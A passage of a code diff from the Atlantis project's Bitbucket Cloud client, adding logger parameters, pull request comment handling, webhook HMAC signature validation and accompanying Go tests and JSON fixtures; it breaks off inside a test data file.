:= fmt.Sprintf("%s/2.0/repositories/%s/pullrequests/%d", b.BaseURL, repo.FullName, pull.Num) resp, err := b.makeRequest("GET", path, nil) if err != nil { - return false, err + return approvalStatus, err } var pullResp PullRequest if err := json.Unmarshal(resp, &pullResp); err != nil { - return false, errors.Wrapf(err, "Could not parse response %q", string(resp)) + return approvalStatus, errors.Wrapf(err, "Could not parse response %q", string(resp)) } if err := validator.New().Struct(pullResp); err != nil { - return false, errors.Wrapf(err, "API response %q was missing fields", string(resp)) + return approvalStatus, errors.Wrapf(err, "API response %q was missing fields", string(resp)) } authorUUID := *pullResp.Author.UUID for _, participant := range pullResp.Participants { // Bitbucket allows the author to approve their own pull request. This // defeats the purpose of approvals so we don't count that approval. if *participant.Approved && *participant.User.UUID != authorUUID { - return true, nil + return models.ApprovalStatus{ + IsApproved: true, + }, nil } } - return false, nil + return approvalStatus, nil } // PullIsMergeable returns true if the merge request has no conflicts and can be merged. -func (b *Client) PullIsMergeable(repo models.Repo, pull models.PullRequest) (bool, error) { +func (b *Client) PullIsMergeable(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest, _ string, _ []string) (bool, error) { nextPageURL := fmt.Sprintf("%s/2.0/repositories/%s/pullrequests/%d/diffstat", b.BaseURL, repo.FullName, pull.Num) // We'll only loop 1000 times as a safety measure. maxLoops := 1000 @@ -161,7 +255,7 @@ func (b *Client) PullIsMergeable(repo models.Repo, pull models.PullRequest) (boo } // UpdateStatus updates the status of a commit. -func (b *Client) UpdateStatus(repo models.Repo, pull models.PullRequest, status models.CommitStatus, src string, description string, url string) error { +func (b *Client) UpdateStatus(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest, status models.CommitStatus, src string, description string, url string) error { bbState := "FAILED" switch status { case models.PendingCommitStatus: @@ -172,12 +266,19 @@ func (b *Client) UpdateStatus(repo models.Repo, pull models.PullRequest, status bbState = "FAILED" } + logger.Info("Updating BitBucket commit status for '%s' to '%s'", src, bbState) + // URL is a required field for bitbucket statuses. We default to the // Atlantis server's URL. if url == "" { url = b.AtlantisURL } + // Ensure key has at most 40 characters + if utf8.RuneCountInString(src) > 40 { + src = fmt.Sprintf("%.37s...", src) + } + bodyBytes, err := json.Marshal(map[string]string{ "key": src, "url": url, @@ -194,7 +295,7 @@ func (b *Client) UpdateStatus(repo models.Repo, pull models.PullRequest, status } // MergePull merges the pull request. -func (b *Client) MergePull(pull models.PullRequest) error { +func (b *Client) MergePull(logger logging.SimpleLogging, pull models.PullRequest, _ models.PullRequestOptions) error { path := fmt.Sprintf("%s/2.0/repositories/%s/pullrequests/%d/merge", b.BaseURL, pull.BaseRepo.FullName, pull.Num) _, err := b.makeRequest("POST", path, nil) return err @@ -221,6 +322,11 @@ func (b *Client) prepRequest(method string, path string, body io.Reader) (*http. return req, nil } +func (b *Client) DiscardReviews(_ logging.SimpleLogging, _ models.Repo, _ models.PullRequest) error { + // TODO implement + return nil +} + func (b *Client) makeRequest(method string, path string, reqBody io.Reader) ([]byte, error) { req, err := b.prepRequest(method, path, reqBody) if err != nil { @@ -233,24 +339,37 @@ func (b *Client) makeRequest(method string, path string, reqBody io.Reader) ([]b defer resp.Body.Close() // nolint: errcheck requestStr := fmt.Sprintf("%s %s", method, path) - if resp.StatusCode != http.StatusOK && resp.StatusCode != http.StatusCreated { - respBody, _ := ioutil.ReadAll(resp.Body) + if resp.StatusCode != http.StatusOK && resp.StatusCode != http.StatusCreated && resp.StatusCode != http.StatusNoContent { + respBody, _ := io.ReadAll(resp.Body) return nil, fmt.Errorf("making request %q unexpected status code: %d, body: %s", requestStr, resp.StatusCode, string(respBody)) } - respBody, err := ioutil.ReadAll(resp.Body) + respBody, err := io.ReadAll(resp.Body) if err != nil { return nil, errors.Wrapf(err, "reading response from request %q", requestStr) } return respBody, nil } +// GetTeamNamesForUser returns the names of the teams or groups that the user belongs to (in the organization the repository belongs to). +func (b *Client) GetTeamNamesForUser(_ logging.SimpleLogging, _ models.Repo, _ models.User) ([]string, error) { + return nil, nil +} + func (b *Client) SupportsSingleFileDownload(models.Repo) bool { return false } -// DownloadRepoConfigFile return `atlantis.yaml` content from VCS (which support fetch a single file from repository) -// The first return value indicate that repo contain atlantis.yaml or not -// if BaseRepo had one repo config file, its content will placed on the second return value -func (b *Client) DownloadRepoConfigFile(pull models.PullRequest) (bool, []byte, error) { - return false, []byte{}, fmt.Errorf("Not Implemented") +// GetFileContent a repository file content from VCS (which support fetch a single file from repository) +// The first return value indicates whether the repo contains a file or not +// if BaseRepo had a file, its content will placed on the second return value +func (b *Client) GetFileContent(_ logging.SimpleLogging, _ models.PullRequest, _ string) (bool, []byte, error) { + return false, []byte{}, fmt.Errorf("not implemented") +} + +func (b *Client) GetCloneURL(_ logging.SimpleLogging, _ models.VCSHostType, _ string) (string, error) { + return "", fmt.Errorf("not yet implemented") +} + +func (b *Client) GetPullLabels(_ logging.SimpleLogging, _ models.Repo, _ models.PullRequest) ([]string, error) { + return nil, fmt.Errorf("not yet implemented") } diff --git a/server/events/vcs/bitbucketcloud/client_test.go b/server/events/vcs/bitbucketcloud/client_test.go index 0575e9e8ee..5b5d1ab4af 100644 --- a/server/events/vcs/bitbucketcloud/client_test.go +++ b/server/events/vcs/bitbucketcloud/client_test.go @@ -2,19 +2,24 @@ package bitbucketcloud_test import ( "fmt" - "io/ioutil" "net/http" "net/http/httptest" + "os" "path/filepath" + "strings" "testing" "github.com/runatlantis/atlantis/server/events/models" "github.com/runatlantis/atlantis/server/events/vcs/bitbucketcloud" + "github.com/runatlantis/atlantis/server/logging" . "github.com/runatlantis/atlantis/testing" ) +const diffstatURL = "/2.0/repositories/owner/repo/pullrequests/1/diffstat" + // Should follow pagination properly. func TestClient_GetModifiedFilesPagination(t *testing.T) { + logger := logging.NewNoopLogger(t) respTemplate := ` { "pagelen": 1, @@ -54,12 +59,12 @@ func TestClient_GetModifiedFilesPagination(t *testing.T) { testServer := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { switch r.RequestURI { // The first request should hit this URL. - case "/2.0/repositories/owner/repo/pullrequests/1/diffstat": - resp := firstResp + fmt.Sprintf(`,"next": "%s/2.0/repositories/owner/repo/pullrequests/1/diffstat?page=2"}`, serverURL) + case diffstatURL: + resp := firstResp + fmt.Sprintf(`,"next": "%s%s?page=2"}`, serverURL, diffstatURL) w.Write([]byte(resp)) // nolint: errcheck return // The second should hit this URL. - case "/2.0/repositories/owner/repo/pullrequests/1/diffstat?page=2": + case fmt.Sprintf("%s?page=2", diffstatURL): w.Write([]byte(secondResp + "}")) // nolint: errcheck default: t.Errorf("got unexpected request at %q", r.RequestURI) @@ -73,25 +78,28 @@ func TestClient_GetModifiedFilesPagination(t *testing.T) { client := bitbucketcloud.NewClient(http.DefaultClient, "user", "pass", "runatlantis.io") client.BaseURL = testServer.URL - files, err := client.GetModifiedFiles(models.Repo{ - FullName: "owner/repo", - Owner: "owner", - Name: "repo", - CloneURL: "", - SanitizedCloneURL: "", - VCSHost: models.VCSHost{ - Type: models.BitbucketCloud, - Hostname: "bitbucket.org", - }, - }, models.PullRequest{ - Num: 1, - }) + files, err := client.GetModifiedFiles( + logger, + models.Repo{ + FullName: "owner/repo", + Owner: "owner", + Name: "repo", + CloneURL: "", + SanitizedCloneURL: "", + VCSHost: models.VCSHost{ + Type: models.BitbucketCloud, + Hostname: "bitbucket.org", + }, + }, models.PullRequest{ + Num: 1, + }) Ok(t, err) Equals(t, []string{"file1.txt", "file2.txt", "file3.txt"}, files) } // If the "old" key in the list of files is nil we shouldn't error. func TestClient_GetModifiedFilesOldNil(t *testing.T) { + logger := logging.NewNoopLogger(t) resp := ` { "pagelen": 500, @@ -120,7 +128,7 @@ func TestClient_GetModifiedFilesOldNil(t *testing.T) { testServer := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { switch r.RequestURI { // The first request should hit this URL. - case "/2.0/repositories/owner/repo/pullrequests/1/diffstat": + case diffstatURL: w.Write([]byte(resp)) // nolint: errcheck return default: @@ -134,24 +142,27 @@ func TestClient_GetModifiedFilesOldNil(t *testing.T) { client := bitbucketcloud.NewClient(http.DefaultClient, "user", "pass", "runatlantis.io") client.BaseURL = testServer.URL - files, err := client.GetModifiedFiles(models.Repo{ - FullName: "owner/repo", - Owner: "owner", - Name: "repo", - CloneURL: "", - SanitizedCloneURL: "", - VCSHost: models.VCSHost{ - Type: models.BitbucketCloud, - Hostname: "bitbucket.org", - }, - }, models.PullRequest{ - Num: 1, - }) + files, err := client.GetModifiedFiles( + logger, + models.Repo{ + FullName: "owner/repo", + Owner: "owner", + Name: "repo", + CloneURL: "", + SanitizedCloneURL: "", + VCSHost: models.VCSHost{ + Type: models.BitbucketCloud, + Hostname: "bitbucket.org", + }, + }, models.PullRequest{ + Num: 1, + }) Ok(t, err) Equals(t, []string{"parent/child/file1.txt"}, files) } func TestClient_PullIsApproved(t *testing.T) { + logger := logging.NewNoopLogger(t) cases := []struct { description string testdata string @@ -181,7 +192,7 @@ func TestClient_PullIsApproved(t *testing.T) { for _, c := range cases { t.Run(c.description, func(t *testing.T) { - json, err := ioutil.ReadFile(filepath.Join("testdata", c.testdata)) + json, err := os.ReadFile(filepath.Join("testdata", c.testdata)) Ok(t, err) testServer := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { switch r.RequestURI { @@ -202,19 +213,22 @@ func TestClient_PullIsApproved(t *testing.T) { repo, err := models.NewRepo(models.BitbucketServer, "owner/repo", "https://bitbucket.org/owner/repo.git", "user", "token") Ok(t, err) - approved, err := client.PullIsApproved(repo, models.PullRequest{ - Num: 1, - HeadBranch: "branch", - Author: "author", - BaseRepo: repo, - }) + approvalStatus, err := client.PullIsApproved( + logger, + repo, models.PullRequest{ + Num: 1, + HeadBranch: "branch", + Author: "author", + BaseRepo: repo, + }) Ok(t, err) - Equals(t, c.exp, approved) + Equals(t, c.exp, approvalStatus.IsApproved) }) } } func TestClient_PullIsMergeable(t *testing.T) { + logger := logging.NewNoopLogger(t) cases := map[string]struct { DiffStat string ExpMergeable bool @@ -311,7 +325,7 @@ func TestClient_PullIsMergeable(t *testing.T) { t.Run(name, func(t *testing.T) { testServer := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { switch r.RequestURI { - case "/2.0/repositories/owner/repo/pullrequests/1/diffstat": + case diffstatURL: w.Write([]byte(c.DiffStat)) // nolint: errcheck return default: @@ -325,19 +339,21 @@ func TestClient_PullIsMergeable(t *testing.T) { client := bitbucketcloud.NewClient(http.DefaultClient, "user", "pass", "runatlantis.io") client.BaseURL = testServer.URL - actMergeable, err := client.PullIsMergeable(models.Repo{ - FullName: "owner/repo", - Owner: "owner", - Name: "repo", - CloneURL: "", - SanitizedCloneURL: "", - VCSHost: models.VCSHost{ - Type: models.BitbucketCloud, - Hostname: "bitbucket.org", - }, - }, models.PullRequest{ - Num: 1, - }) + actMergeable, err := client.PullIsMergeable( + logger, + models.Repo{ + FullName: "owner/repo", + Owner: "owner", + Name: "repo", + CloneURL: "", + SanitizedCloneURL: "", + VCSHost: models.VCSHost{ + Type: models.BitbucketCloud, + Hostname: "bitbucket.org", + }, + }, models.PullRequest{ + Num: 1, + }, "atlantis-test", []string{}) Ok(t, err) Equals(t, c.ExpMergeable, actMergeable) }) @@ -352,3 +368,159 @@ func TestClient_MarkdownPullLink(t *testing.T) { exp := "#1" Equals(t, exp, s) } + +func TestClient_GetMyUUID(t *testing.T) { + json, err := os.ReadFile(filepath.Join("testdata", "user.json")) + Ok(t, err) + + testServer := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + switch r.RequestURI { + case "/2.0/user": + w.Write(json) // nolint: errcheck + return + default: + t.Errorf("got unexpected request at %q", r.RequestURI) + http.Error(w, "not found", http.StatusNotFound) + return + } + })) + defer testServer.Close() + + client := bitbucketcloud.NewClient(http.DefaultClient, "user", "pass", "runatlantis.io") + client.BaseURL = testServer.URL + v, _ := client.GetMyUUID() + Equals(t, v, "{00000000-0000-0000-0000-000000000001}") +} + +func TestClient_GetComment(t *testing.T) { + json, err := os.ReadFile(filepath.Join("testdata", "comments.json")) + Ok(t, err) + + testServer := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + switch r.RequestURI { + case "/2.0/repositories/myorg/myrepo/pullrequests/5/comments": + w.Write(json) // nolint: errcheck + return + default: + t.Errorf("got unexpected request at %q", r.RequestURI) + http.Error(w, "not found", http.StatusNotFound) + return + } + })) + defer testServer.Close() + + client := bitbucketcloud.NewClient(http.DefaultClient, "user", "pass", "runatlantis.io") + client.BaseURL = testServer.URL + v, _ := client.GetPullRequestComments( + models.Repo{ + FullName: "myorg/myrepo", + Owner: "owner", + Name: "myrepo", + CloneURL: "", + SanitizedCloneURL: "", + VCSHost: models.VCSHost{ + Type: models.BitbucketCloud, + Hostname: "bitbucket.org", + }, + }, 5) + + Equals(t, len(v), 5) + exp := "Plan" + Assert(t, strings.Contains(v[1].Content.Raw, exp), "Comment should contain word \"%s\", has \"%s\"", exp, v[1].Content.Raw) +} + +func TestClient_DeleteComment(t *testing.T) { + testServer := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + switch r.RequestURI { + case "/2.0/repositories/myorg/myrepo/pullrequests/5/comments/1": + if r.Method == "DELETE" { + w.WriteHeader(http.StatusNoContent) + } + return + default: + t.Errorf("got unexpected request at %q", r.RequestURI) + http.Error(w, "not found", http.StatusNotFound) + return + } + })) + defer testServer.Close() + + client := bitbucketcloud.NewClient(http.DefaultClient, "user", "pass", "runatlantis.io") + client.BaseURL = testServer.URL + err := client.DeletePullRequestComment( + models.Repo{ + FullName: "myorg/myrepo", + Owner: "owner", + Name: "myrepo", + CloneURL: "", + SanitizedCloneURL: "", + VCSHost: models.VCSHost{ + Type: models.BitbucketCloud, + Hostname: "bitbucket.org", + }, + }, 5, 1) + Ok(t, err) +} + +func TestClient_HidePRComments(t *testing.T) { + logger := logging.NewNoopLogger(t) + comments, err := os.ReadFile(filepath.Join("testdata", "comments.json")) + Ok(t, err) + json, err := os.ReadFile(filepath.Join("testdata", "user.json")) + Ok(t, err) + + called := 0 + + testServer := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + switch r.RequestURI { + // we have two comments in the test file + // The code is going to delete them all and then create a new one + case "/2.0/repositories/myorg/myrepo/pullrequests/5/comments/498931882": + if r.Method == "DELETE" { + w.WriteHeader(http.StatusNoContent) + } + w.Write([]byte("")) // nolint: errcheck + called += 1 + return + // This is the second one + case "/2.0/repositories/myorg/myrepo/pullrequests/5/comments/498931784": + if r.Method == "DELETE" { + http.Error(w, "", http.StatusNoContent) + } + w.Write([]byte("")) // nolint: errcheck + called += 1 + return + case "/2.0/repositories/myorg/myrepo/pullrequests/5/comments/49893111": + Assert(t, r.Method != "DELETE", "Shouldn't delete this one") + return + case "/2.0/repositories/myorg/myrepo/pullrequests/5/comments": + w.Write(comments) // nolint: errcheck + return + case "/2.0/user": + w.Write(json) // nolint: errcheck + return + default: + t.Errorf("got unexpected request at %q", r.RequestURI) + http.Error(w, "not found", http.StatusNotFound) + return + } + })) + defer testServer.Close() + + client := bitbucketcloud.NewClient(http.DefaultClient, "user", "pass", "runatlantis.io") + client.BaseURL = testServer.URL + err = client.HidePrevCommandComments(logger, + models.Repo{ + FullName: "myorg/myrepo", + Owner: "owner", + Name: "myrepo", + CloneURL: "", + SanitizedCloneURL: "", + VCSHost: models.VCSHost{ + Type: models.BitbucketCloud, + Hostname: "bitbucket.org", + }, + }, 5, "plan", "") + Ok(t, err) + Equals(t, 2, called) +} diff --git a/server/events/vcs/bitbucketcloud/models.go b/server/events/vcs/bitbucketcloud/models.go index ff7931c029..d33fc14da6 100644 --- a/server/events/vcs/bitbucketcloud/models.go +++ b/server/events/vcs/bitbucketcloud/models.go @@ -39,12 +39,40 @@ type DiffStatFile struct { } type Actor struct { - Nickname *string `json:"nickname,omitempty" validate:"required"` + AccountID *string `json:"account_id,omitempty" validate:"required"` } type Repository struct { FullName *string `json:"full_name,omitempty" validate:"required"` Links Links `json:"links,omitempty" validate:"required"` } + +type User struct { + Type *string `json:"type,omitempty" validate:"required"` + CreateOn *string `json:"created_on" validate:"required"` + DisplayName *string `json:"display_name" validate:"required"` + Username *string `json:"username" validate:"required"` + UUID *string `json:"uuid" validate:"required"` +} + +type UserInComment struct { + Type *string `json:"type,omitempty" validate:"required"` + Nickname *string `json:"nickname" validate:"required"` + DisplayName *string `json:"display_name" validate:"required"` + UUID *string `json:"uuid" validate:"required"` +} + +type PullRequestComment struct { + ID *int `json:"id,omitempty" validate:"required"` + User *UserInComment `json:"user" validate:"required"` + Content *struct { + Raw string `json:"raw"` + } `json:"content" validate:"required"` +} + +type PullRequestComments struct { + Values []PullRequestComment `json:"values,omitempty"` +} + type PullRequest struct { ID *int `json:"id,omitempty" validate:"required"` Source *BranchMeta `json:"source,omitempty" validate:"required"` diff --git a/server/events/vcs/bitbucketcloud/request_validation.go b/server/events/vcs/bitbucketcloud/request_validation.go new file mode 100644 index 0000000000..e4df275bb0 --- /dev/null +++ b/server/events/vcs/bitbucketcloud/request_validation.go @@ -0,0 +1,72 @@ +package bitbucketcloud + +import ( + "crypto/hmac" + "crypto/sha1" // nolint: gosec + "crypto/sha256" + "crypto/sha512" + "encoding/hex" + "fmt" + "hash" + "strings" + + "github.com/pkg/errors" +) + +// Attribution: This code is taken from https://github.com/google/go-github. + +func ValidateSignature(payload []byte, signature string, secretKey []byte) error { + messageMAC, hashFunc, err := messageMAC(signature) + if err != nil { + return err + } + if !checkMAC(payload, messageMAC, secretKey, hashFunc) { + return errors.New("payload signature check failed") + } + return nil +} + +// genMAC generates the HMAC signature for a message provided the secret key +// and hashFunc. +func genMAC(message, key []byte, hashFunc func() hash.Hash) []byte { + mac := hmac.New(hashFunc, key) + // nolint: errcheck + mac.Write(message) + return mac.Sum(nil) +} + +// checkMAC reports whether messageMAC is a valid HMAC tag for message. +func checkMAC(message, messageMAC, key []byte, hashFunc func() hash.Hash) bool { + expectedMAC := genMAC(message, key, hashFunc) + return hmac.Equal(messageMAC, expectedMAC) +} + +// messageMAC returns the hex-decoded HMAC tag from the signature and its +// corresponding hash function. +func messageMAC(signature string) ([]byte, func() hash.Hash, error) { + if signature == "" { + return nil, nil, errors.New("missing signature") + } + sigParts := strings.SplitN(signature, "=", 2) + if len(sigParts) != 2 { + return nil, nil, fmt.Errorf("error parsing signature %q", signature) + } + + var hashFunc func() hash.Hash + switch sigParts[0] { + case "sha1": + hashFunc = sha1.New + case "sha256": + hashFunc = sha256.New + case "sha512": + hashFunc = sha512.New + default: + return nil, nil, fmt.Errorf("unknown hash type prefix: %q", sigParts[0]) + } + + buf, err := hex.DecodeString(sigParts[1]) + if err != nil { + return nil, nil, fmt.Errorf("error decoding signature %q: %v", signature, err) + } + return buf, hashFunc, nil +} diff --git a/server/events/vcs/bitbucketcloud/request_validation_test.go b/server/events/vcs/bitbucketcloud/request_validation_test.go new file mode 100644 index 0000000000..63969a4b12 --- /dev/null +++ b/server/events/vcs/bitbucketcloud/request_validation_test.go @@ -0,0 +1,24 @@ +package bitbucketcloud_test + +import ( + "testing" + + "github.com/runatlantis/atlantis/server/events/vcs/bitbucketcloud" + . "github.com/runatlantis/atlantis/testing" +) + +func TestValidateSignature(t *testing.T) { + body := `{"eventKey":"pr:comment:added","date":"2018-07-24T15:10:05+0200","actor":{"name":"lkysow","emailAddress":"lkysow@gmail.com","id":1,"displayName":"Luke Kysow","active":true,"slug":"lkysow","type":"NORMAL"},"pullRequest":{"id":5,"version":0,"title":"another.tf edited online with Bitbucket","state":"OPEN","open":true,"closed":false,"createdDate":1532365427513,"updatedDate":1532365427513,"fromRef":{"id":"refs/heads/lkysow/anothertf-1532365422773","displayId":"lkysow/anothertf-1532365422773","latestCommit":"b52b8e254e956654dcdb394d0ccba9199f420427","repository":{"slug":"atlantis-example","id":1,"name":"atlantis-example","scmId":"git","state":"AVAILABLE","statusMessage":"Available","forkable":true,"project":{"key":"AT","id":1,"name":"atlantis","public":false,"type":"NORMAL"},"public":false}},"toRef":{"id":"refs/heads/master","displayId":"master","latestCommit":"0a338874369017deba7c22e99e6000932724282f","repository":{"slug":"atlantis-example","id":1,"name":"atlantis-example","scmId":"git","state":"AVAILABLE","statusMessage":"Available","forkable":true,"project":{"key":"AT","id":1,"name":"atlantis","public":false,"type":"NORMAL"},"public":false}},"locked":false,"author":{"user":{"name":"lkysow","emailAddress":"lkysow@gmail.com","id":1,"displayName":"Luke Kysow","active":true,"slug":"lkysow","type":"NORMAL"},"role":"AUTHOR","approved":false,"status":"UNAPPROVED"},"reviewers":[],"participants":[]},"comment":{"properties":{"repositoryId":1},"id":65,"version":0,"text":"comment","author":{"name":"lkysow","emailAddress":"lkysow@gmail.com","id":1,"displayName":"Luke Kysow","active":true,"slug":"lkysow","type":"NORMAL"},"createdDate":1532437805137,"updatedDate":1532437805137,"comments":[],"tasks":[]}}` + secret := "mysecret" + sig := `sha256=ed11f92d1565a4de586727fe8260558277d58009e8957a79eb4749a7009ce083` + err := bitbucketcloud.ValidateSignature([]byte(body), sig, []byte(secret)) + Ok(t, err) +} + +func TestValidateSignature_Invalid(t *testing.T) { + body := `"eventKey":"pr:comment:added","date":"2018-07-24T15:10:05+0200","actor":{"name":"lkysow","emailAddress":"lkysow@gmail.com","id":1,"displayName":"Luke Kysow","active":true,"slug":"lkysow","type":"NORMAL"},"pullRequest":{"id":5,"version":0,"title":"another.tf edited online with Bitbucket","state":"OPEN","open":true,"closed":false,"createdDate":1532365427513,"updatedDate":1532365427513,"fromRef":{"id":"refs/heads/lkysow/anothertf-1532365422773","displayId":"lkysow/anothertf-1532365422773","latestCommit":"b52b8e254e956654dcdb394d0ccba9199f420427","repository":{"slug":"atlantis-example","id":1,"name":"atlantis-example","scmId":"git","state":"AVAILABLE","statusMessage":"Available","forkable":true,"project":{"key":"AT","id":1,"name":"atlantis","public":false,"type":"NORMAL"},"public":false}},"toRef":{"id":"refs/heads/main","displayId":"main","latestCommit":"0a338874369017deba7c22e99e6000932724282f","repository":{"slug":"atlantis-example","id":1,"name":"atlantis-example","scmId":"git","state":"AVAILABLE","statusMessage":"Available","forkable":true,"project":{"key":"AT","id":1,"name":"atlantis","public":false,"type":"NORMAL"},"public":false}},"locked":false,"author":{"user":{"name":"lkysow","emailAddress":"lkysow@gmail.com","id":1,"displayName":"Luke Kysow","active":true,"slug":"lkysow","type":"NORMAL"},"role":"AUTHOR","approved":false,"status":"UNAPPROVED"},"reviewers":[],"participants":[]},"comment":{"properties":{"repositoryId":1},"id":65,"version":0,"text":"comment","author":{"name":"lkysow","emailAddress":"lkysow@gmail.com","id":1,"displayName":"Luke Kysow","active":true,"slug":"lkysow","type":"NORMAL"},"createdDate":1532437805137,"updatedDate":1532437805137,"comments":[],"tasks":[]}}` + secret := "mysecret" + sig := `sha256=ed11f92d1565a4de586727fe8260558277d58009e8957a79eb4749a7009ce083` + err := bitbucketcloud.ValidateSignature([]byte(body), sig, []byte(secret)) + ErrEquals(t, "payload signature check failed", err) +} diff --git a/server/events/vcs/bitbucketcloud/testdata/comments.json b/server/events/vcs/bitbucketcloud/testdata/comments.json new file mode 100644 index 0000000000..746accc259 --- /dev/null +++ b/server/events/vcs/bitbucketcloud/testdata/comments.json @@ -0,0 +1,272 @@ +{ + "values": [ + { + "id": 498931784, + "created_on": "2024-05-07T12:21:45.858898+00:00", + "updated_on": "2024-05-07T12:21:45.859011+00:00", + "content": { + "type": "rendered", + "raw": "atlantis plan", + "markup": "markdown", + "html": "

atlantis plan

" + }, + "user": { + "display_name": "Ragne", + "links": { + "self": { + "href": "https://api.bitbucket.org/2.0/users/%7B00000000-0000-0000-0000-000000000001%7D" + }, + "avatar": { + "href": "https://avatar-management--avatars.us-west-2.prod.public.atl-paas.net/initials/EM-3.png" + }, + "html": { + "href": "https://bitbucket.org/%7B00000000-0000-0000-0000-000000000001%7D/" + } + }, + "type": "user", + "uuid": "{00000000-0000-0000-0000-000000000001}", + "account_id": "000000:00000000-0000-0000-0000-000000000001", + "nickname": "Ragne" + }, + "deleted": false, + "pending": false, + "type": "pullrequest_comment", + "links": { + "self": { + "href": "https://api.bitbucket.org/2.0/repositories/myworkspace/myrepo/pullrequests/5/comments/498931784" + }, + "html": { + "href": "https://bitbucket.org/myworkspace/myrepo/pull-requests/5/_/diff#comment-498931784" + } + }, + "pullrequest": { + "type": "pullrequest", + "id": 5, + "title": "for test", + "links": { + "self": { + "href": "https://api.bitbucket.org/2.0/repositories/myworkspace/myrepo/pullrequests/5" + }, + "html": { + "href": "https://bitbucket.org/myworkspace/myrepo/pull-requests/5" + } + } + } + }, + { + "id": 498931802, + "created_on": "2024-05-07T12:21:48.737851+00:00", + "updated_on": "2024-05-07T12:21:48.737927+00:00", + "content": { + "type": "rendered", + "raw": "Ran Plan for 0 projects:", + "markup": "markdown", + "html": "

Ran Plan for 0 projects:

" + }, + "user": { + "display_name": "bb bot", + "links": { + "self": { + "href": "https://api.bitbucket.org/2.0/users/%7B600000000-0000-0000-0000-000000000000%7D" + }, + "avatar": { + "href": "https://secure.gravatar.com/avatar/d5c4bac76953df92f47d1dea43fcdba0?d=https%3A%2F%2Favatar-management--avatars.us-west-2.prod.public.atl-paas.net%2Finitials%2FKB-4.png" + }, + "html": { + "href": "https://bitbucket.org/%7B600000000-0000-0000-0000-000000000000%7D/" + } + }, + "type": "user", + "uuid": "{600000000-0000-0000-0000-000000000000}", + "account_id": "00000000-0000-0000-0000-000000000000", + "nickname": "bb bot" + }, + "deleted": false, + "pending": false, + "type": "pullrequest_comment", + "links": { + "self": { + "href": "https://api.bitbucket.org/2.0/repositories/myworkspace/myrepo/pullrequests/5/comments/498931802" + }, + "html": { + "href": "https://bitbucket.org/myworkspace/myrepo/pull-requests/5/_/diff#comment-498931802" + } + }, + "pullrequest": { + "type": "pullrequest", + "id": 5, + "title": "for test", + "links": { + "self": { + "href": "https://api.bitbucket.org/2.0/repositories/myworkspace/myrepo/pullrequests/5" + }, + "html": { + "href": "https://bitbucket.org/myworkspace/myrepo/pull-requests/5" + } + } + } + }, + { + "id": 498931882, + "created_on": "2024-05-07T12:22:01.870344+00:00", + "updated_on": "2024-05-07T12:22:01.870462+00:00", + "content": { + "type": "rendered", + "raw": "atlantis plan", + "markup": "markdown", + "html": "

atlantis plan

" + }, + "user": { + "display_name": "Ragne", + "links": { + "self": { + "href": "https://api.bitbucket.org/2.0/users/%7B00000000-0000-0000-0000-000000000001%7D" + }, + "avatar": { + "href": "https://avatar-management--avatars.us-west-2.prod.public.atl-paas.net/initials/EM-3.png" + }, + "html": { + "href": "https://bitbucket.org/%7B00000000-0000-0000-0000-000000000001%7D/" + } + }, + "type": "user", + "uuid": "{00000000-0000-0000-0000-000000000001}", + "account_id": "000000:00000000-0000-0000-0000-000000000001", + "nickname": "Ragne" + }, + "deleted": false, + "pending": false, + "type": "pullrequest_comment", + "links": { + "self": { + "href": "https://api.bitbucket.org/2.0/repositories/myworkspace/myrepo/pullrequests/5/comments/498931882" + }, + "html": { + "href": "https://bitbucket.org/myworkspace/myrepo/pull-requests/5/_/diff#comment-498931882" + } + }, + "pullrequest": { + "type": "pullrequest", + "id": 5, + "title": "for test", + "links": { + "self": { + "href": "https://api.bitbucket.org/2.0/repositories/myworkspace/myrepo/pullrequests/5" + }, + "html": { + "href": "https://bitbucket.org/myworkspace/myrepo/pull-requests/5" + } + } + } + }, + { + "id": 498931901, + "created_on": "2024-05-07T12:22:04.981415+00:00", + "updated_on": "2024-05-07T12:22:04.981490+00:00", + "content": { + "type": "rendered", + "raw": "Ran Plan for 0 projects:", + "markup": "markdown", + "html": "

Ran Plan for 0 projects:

" + }, + "user": { + "display_name": "bb bot", + "links": { + "self": { + "href": "https://api.bitbucket.org/2.0/users/%7B600000000-0000-0000-0000-000000000000%7D" + }, + "avatar": { + "href": "https://secure.gravatar.com/avatar/d5c4bac76953df92f47d1dea43fcdba0?d=https%3A%2F%2Favatar-management--avatars.us-west-2.prod.public.atl-paas.net%2Finitials%2FKB-4.png" + }, + "html": { + "href": "https://bitbucket.org/%7B600000000-0000-0000-0000-000000000000%7D/" + } + }, + "type": "user", + "uuid": "{600000000-0000-0000-0000-000000000000}", + "account_id": "00000000-0000-0000-0000-000000000000", + "nickname": "bb bot" + }, + "deleted": false, + "pending": false, + "type": "pullrequest_comment", + "links": { + "self": { + "href": "https://api.bitbucket.org/2.0/repositories/myworkspace/myrepo/pullrequests/5/comments/498931901" + }, + "html": { + "href": "https://bitbucket.org/myworkspace/myrepo/pull-requests/5/_/diff#comment-498931901" + } + }, + "pullrequest": { + "type": "pullrequest", + "id": 5, + "title": "for test", + "links": { + "self": { + "href": "https://api.bitbucket.org/2.0/repositories/myworkspace/myrepo/pullrequests/5" + }, + "html": { + "href": "https://bitbucket.org/myworkspace/myrepo/pull-requests/5" + } + } + } + }, + { + "id": 49893111, + "created_on": "2024-05-07T12:22:05.981415+00:00", + "updated_on": "2024-05-07T12:22:05.981490+00:00", + "content": { + "type": "rendered", + "raw": "Ran Apply for 0 projects:", + "markup": "markdown", + "html": "

Ran Apply for 0 projects:

